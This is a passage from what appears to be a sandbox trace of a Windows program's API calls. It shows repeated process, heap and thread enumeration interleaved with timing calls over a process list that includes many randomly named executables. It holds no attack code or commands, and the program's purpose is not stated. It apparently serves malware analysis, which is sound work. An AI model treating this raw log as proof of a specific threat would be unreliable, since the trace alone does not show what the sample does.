0x1ced2 [0062.027] GetCurrentThreadId () returned 0x94c [0062.027] Heap32Next (lphe=0x37e154) returned 0 [0062.031] Heap32ListNext (hSnapshot=0x78, lphl=0x37e570) returned 0 [0062.031] GetTickCount () returned 0x1cee2 [0062.031] Process32First (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0062.032] GetCurrentThreadId () returned 0x94c [0062.032] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0062.033] GetTickCount () returned 0x1cee2 [0062.033] GetCurrentThreadId () returned 0x94c [0062.033] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0062.034] GetTickCount () returned 0x1cee2 [0062.034] GetCurrentThreadId () returned 0x94c [0062.034] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.034] GetTickCount () returned 0x1cee2 [0062.034] GetCurrentThreadId () returned 0x94c [0062.034] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0062.035] GetTickCount () returned 0x1cee2 [0062.035] GetCurrentThreadId () returned 0x94c [0062.035] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.036] GetTickCount () returned 0x1cee2 [0062.036] GetCurrentThreadId () returned 0x94c [0062.036] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0062.037] GetTickCount () returned 0x1cee2 [0062.037] GetCurrentThreadId () returned 0x94c [0062.037] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0062.037] GetTickCount () returned 0x1cee2 [0062.037] GetCurrentThreadId () returned 0x94c [0062.037] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0062.038] GetTickCount () returned 0x1cee2 [0062.038] GetCurrentThreadId () returned 0x94c [0062.038] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0062.039] GetTickCount () returned 0x1cee2 [0062.039] GetCurrentThreadId () returned 0x94c [0062.039] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.040] GetTickCount () returned 0x1cee2 [0062.040] GetCurrentThreadId () returned 0x94c [0062.040] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.040] GetTickCount () returned 0x1cee2 [0062.040] GetCurrentThreadId () returned 0x94c [0062.040] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.041] GetTickCount () returned 0x1cee2 [0062.041] GetCurrentThreadId () returned 0x94c [0062.041] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.042] GetTickCount () returned 0x1cee2 [0062.042] GetCurrentThreadId () returned 0x94c [0062.042] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.043] GetTickCount () returned 0x1cee2 [0062.043] GetCurrentThreadId () returned 0x94c [0062.043] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0062.043] GetTickCount () returned 0x1cee2 [0062.044] GetCurrentThreadId () returned 0x94c [0062.044] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.045] GetTickCount () returned 0x1cef1 [0062.045] GetCurrentThreadId () returned 0x94c [0062.045] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.046] GetTickCount () returned 0x1cef1 [0062.046] GetCurrentThreadId () returned 0x94c [0062.046] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0062.047] GetTickCount () returned 0x1cef1 [0062.047] GetCurrentThreadId () returned 0x94c [0062.047] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0062.047] GetTickCount () returned 0x1cef1 [0062.047] GetCurrentThreadId () returned 0x94c [0062.048] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0062.049] GetTickCount () returned 0x1cef1 [0062.049] GetCurrentThreadId () returned 0x94c [0062.049] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.050] GetTickCount () returned 0x1cef1 [0062.050] GetCurrentThreadId () returned 0x94c [0062.050] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.051] GetTickCount () returned 0x1cef1 [0062.051] GetCurrentThreadId () returned 0x94c [0062.051] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0062.052] GetTickCount () returned 0x1cef1 [0062.052] GetCurrentThreadId () returned 0x94c [0062.052] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.053] GetTickCount () returned 0x1cef1 [0062.053] GetCurrentThreadId () returned 0x94c [0062.053] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="art.exe")) returned 1 [0062.055] GetTickCount () returned 0x1cef1 [0062.055] GetCurrentThreadId () returned 0x94c [0062.055] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="tunerintimatehugh.exe")) returned 1 [0062.056] GetTickCount () returned 0x1cef1 [0062.056] GetCurrentThreadId () returned 0x94c [0062.056] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="hangingexplicitlyrock.exe")) returned 1 [0062.057] GetTickCount () returned 0x1cef1 [0062.057] GetCurrentThreadId () returned 0x94c [0062.058] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="viruses.exe")) returned 1 [0062.059] GetTickCount () returned 0x1cef1 [0062.059] GetCurrentThreadId () returned 0x94c [0062.059] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="most caring.exe")) returned 1 [0062.061] GetTickCount () returned 0x1cf01 [0062.061] GetCurrentThreadId () returned 0x94c [0062.062] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="bullet-paxil.exe")) returned 1 [0062.063] GetTickCount () returned 0x1cf01 [0062.063] GetCurrentThreadId () returned 0x94c [0062.063] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x474, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="sphere.exe")) returned 1 [0062.064] GetTickCount () returned 0x1cf01 [0062.064] GetCurrentThreadId () returned 0x94c [0062.064] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="entriesgrand.exe")) returned 1 [0062.065] GetTickCount () returned 0x1cf01 [0062.065] GetCurrentThreadId () returned 0x94c [0062.065] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="propose.exe")) returned 1 [0062.066] GetTickCount () returned 0x1cf01 [0062.066] GetCurrentThreadId () returned 0x94c [0062.066] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="savage_vienna.exe")) returned 1 [0062.067] GetTickCount () returned 0x1cf01 [0062.067] GetCurrentThreadId () returned 0x94c [0062.067] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="prerequisite.exe")) returned 1 [0062.068] GetTickCount () returned 0x1cf01 [0062.068] GetCurrentThreadId () returned 0x94c [0062.068] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="collect_construction_mazda.exe")) returned 1 [0062.069] GetTickCount () returned 0x1cf01 [0062.069] GetCurrentThreadId () returned 0x94c [0062.070] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="magnetic.exe")) returned 1 [0062.071] GetTickCount () returned 0x1cf01 [0062.071] GetCurrentThreadId () returned 0x94c [0062.071] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="bill air.exe")) returned 1 [0062.072] GetTickCount () returned 0x1cf01 [0062.072] GetCurrentThreadId () returned 0x94c [0062.072] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="today_offering_feb.exe")) returned 1 [0062.073] GetTickCount () returned 0x1cf01 [0062.073] GetCurrentThreadId () returned 0x94c [0062.073] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="thehun bracelet swedish.exe")) returned 1 [0062.074] GetTickCount () returned 0x1cf01 [0062.074] GetCurrentThreadId () returned 0x94c [0062.074] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="justify.exe")) returned 1 [0062.076] GetTickCount () returned 0x1cf11 [0062.076] GetCurrentThreadId () returned 0x94c [0062.076] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ptypinktrademarks.exe")) returned 1 [0062.077] GetTickCount () returned 0x1cf11 [0062.077] GetCurrentThreadId () returned 0x94c [0062.077] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="consist.exe")) returned 1 [0062.078] GetTickCount () returned 0x1cf11 [0062.078] GetCurrentThreadId () returned 0x94c [0062.078] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="potparallelangel.exe")) returned 1 [0062.079] GetTickCount () returned 0x1cf11 [0062.079] GetCurrentThreadId () returned 0x94c [0062.080] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="identification bookstore.exe")) returned 1 [0062.080] GetTickCount () returned 0x1cf11 [0062.080] GetCurrentThreadId () returned 0x94c [0062.081] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="whzqnu.exe")) returned 1 [0062.082] GetTickCount () returned 0x1cf11 [0062.082] GetCurrentThreadId () returned 0x94c [0062.082] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0062.083] GetTickCount () returned 0x1cf11 [0062.083] GetCurrentThreadId () returned 0x94c [0062.083] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0062.084] GetTickCount () returned 0x1cf11 [0062.084] GetCurrentThreadId () returned 0x94c [0062.084] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0062.085] GetTickCount () returned 0x1cf11 [0062.085] GetCurrentThreadId () returned 0x94c [0062.085] Process32Next (in: hSnapshot=0x78, lppe=0x37e408 | out: lppe=0x37e408*(dwSize=0x128, cntUsage=0x6801f4, th32ProcessID=0x680000, th32DefaultHeapID=0x680150, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x680150, pcPriClassBase=8, dwFlags=0x680174, szExeFile="VS\x02")) returned 0 [0062.086] GetTickCount () returned 0x1cf11 [0062.086] Thread32First (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.086] GetCurrentThreadId () returned 0x94c [0062.087] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.087] GetTickCount () returned 0x1cf11 [0062.087] GetCurrentThreadId () returned 0x94c [0062.087] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.088] GetTickCount () returned 0x1cf11 [0062.088] GetCurrentThreadId () returned 0x94c [0062.088] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.089] GetTickCount () returned 0x1cf11 [0062.089] GetCurrentThreadId () returned 0x94c [0062.089] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.091] GetTickCount () returned 0x1cf20 [0062.091] GetCurrentThreadId () returned 0x94c [0062.091] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.092] GetTickCount () returned 0x1cf20 [0062.092] GetCurrentThreadId () returned 0x94c [0062.092] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.093] GetTickCount () returned 0x1cf20 [0062.093] GetCurrentThreadId () returned 0x94c [0062.093] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.094] GetTickCount () returned 0x1cf20 [0062.094] GetCurrentThreadId () returned 0x94c [0062.094] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.095] GetTickCount () returned 0x1cf20 [0062.095] GetCurrentThreadId () returned 0x94c [0062.095] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.096] GetTickCount () returned 0x1cf20 [0062.096] GetCurrentThreadId () returned 0x94c [0062.096] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.097] GetTickCount () returned 0x1cf20 [0062.097] GetCurrentThreadId () returned 0x94c [0062.097] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.098] GetTickCount () returned 0x1cf20 [0062.098] GetCurrentThreadId () returned 0x94c [0062.098] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.099] GetTickCount () returned 0x1cf20 [0062.099] GetCurrentThreadId () returned 0x94c [0062.099] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.100] GetTickCount () returned 0x1cf20 [0062.100] GetCurrentThreadId () returned 0x94c [0062.100] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.101] GetTickCount () returned 0x1cf20 [0062.101] GetCurrentThreadId () returned 0x94c [0062.101] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.102] GetTickCount () returned 0x1cf20 [0062.102] GetCurrentThreadId () returned 0x94c [0062.102] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.103] GetTickCount () returned 0x1cf20 [0062.103] GetCurrentThreadId () returned 0x94c [0062.103] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.104] GetTickCount () returned 0x1cf20 [0062.104] GetCurrentThreadId () returned 0x94c [0062.104] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.104] GetTickCount () returned 0x1cf20 [0062.105] GetCurrentThreadId () returned 0x94c [0062.105] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.105] GetTickCount () returned 0x1cf20 [0062.105] GetCurrentThreadId () returned 0x94c [0062.106] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.107] GetTickCount () returned 0x1cf30 [0062.107] GetCurrentThreadId () returned 0x94c [0062.107] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.108] GetTickCount () returned 0x1cf30 [0062.108] GetCurrentThreadId () returned 0x94c [0062.108] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.109] GetTickCount () returned 0x1cf30 [0062.109] GetCurrentThreadId () returned 0x94c [0062.109] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.110] GetTickCount () returned 0x1cf30 [0062.110] GetCurrentThreadId () returned 0x94c [0062.110] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.111] GetTickCount () returned 0x1cf30 [0062.111] GetCurrentThreadId () returned 0x94c [0062.111] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.112] GetTickCount () returned 0x1cf30 [0062.112] GetCurrentThreadId () returned 0x94c [0062.112] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.113] GetTickCount () returned 0x1cf30 [0062.113] GetCurrentThreadId () returned 0x94c [0062.113] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.114] GetTickCount () returned 0x1cf30 [0062.114] GetCurrentThreadId () returned 0x94c [0062.114] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.115] GetTickCount () returned 0x1cf30 [0062.115] GetCurrentThreadId () returned 0x94c [0062.115] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.116] GetTickCount () returned 0x1cf30 [0062.116] GetCurrentThreadId () returned 0x94c [0062.116] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.117] GetTickCount () returned 0x1cf30 [0062.117] GetCurrentThreadId () returned 0x94c [0062.117] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.118] GetTickCount () returned 0x1cf30 [0062.118] GetCurrentThreadId () returned 0x94c [0062.118] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.119] GetTickCount () returned 0x1cf30 [0062.119] GetCurrentThreadId () returned 0x94c [0062.119] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.120] GetTickCount () returned 0x1cf30 [0062.120] GetCurrentThreadId () returned 0x94c [0062.120] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.121] GetTickCount () returned 0x1cf30 [0062.121] GetCurrentThreadId () returned 0x94c [0062.121] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.122] GetTickCount () returned 0x1cf3f [0062.122] GetCurrentThreadId () returned 0x94c [0062.122] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.123] GetTickCount () returned 0x1cf3f [0062.123] GetCurrentThreadId () returned 0x94c [0062.123] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.124] GetTickCount () returned 0x1cf3f [0062.124] GetCurrentThreadId () returned 0x94c [0062.124] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.125] GetTickCount () returned 0x1cf3f [0062.125] GetCurrentThreadId () returned 0x94c [0062.125] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.126] GetTickCount () returned 0x1cf3f [0062.126] GetCurrentThreadId () returned 0x94c [0062.126] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.127] GetTickCount () returned 0x1cf3f [0062.127] GetCurrentThreadId () returned 0x94c [0062.127] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.128] GetTickCount () returned 0x1cf3f [0062.128] GetCurrentThreadId () returned 0x94c [0062.128] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.129] GetTickCount () returned 0x1cf3f [0062.129] GetCurrentThreadId () returned 0x94c 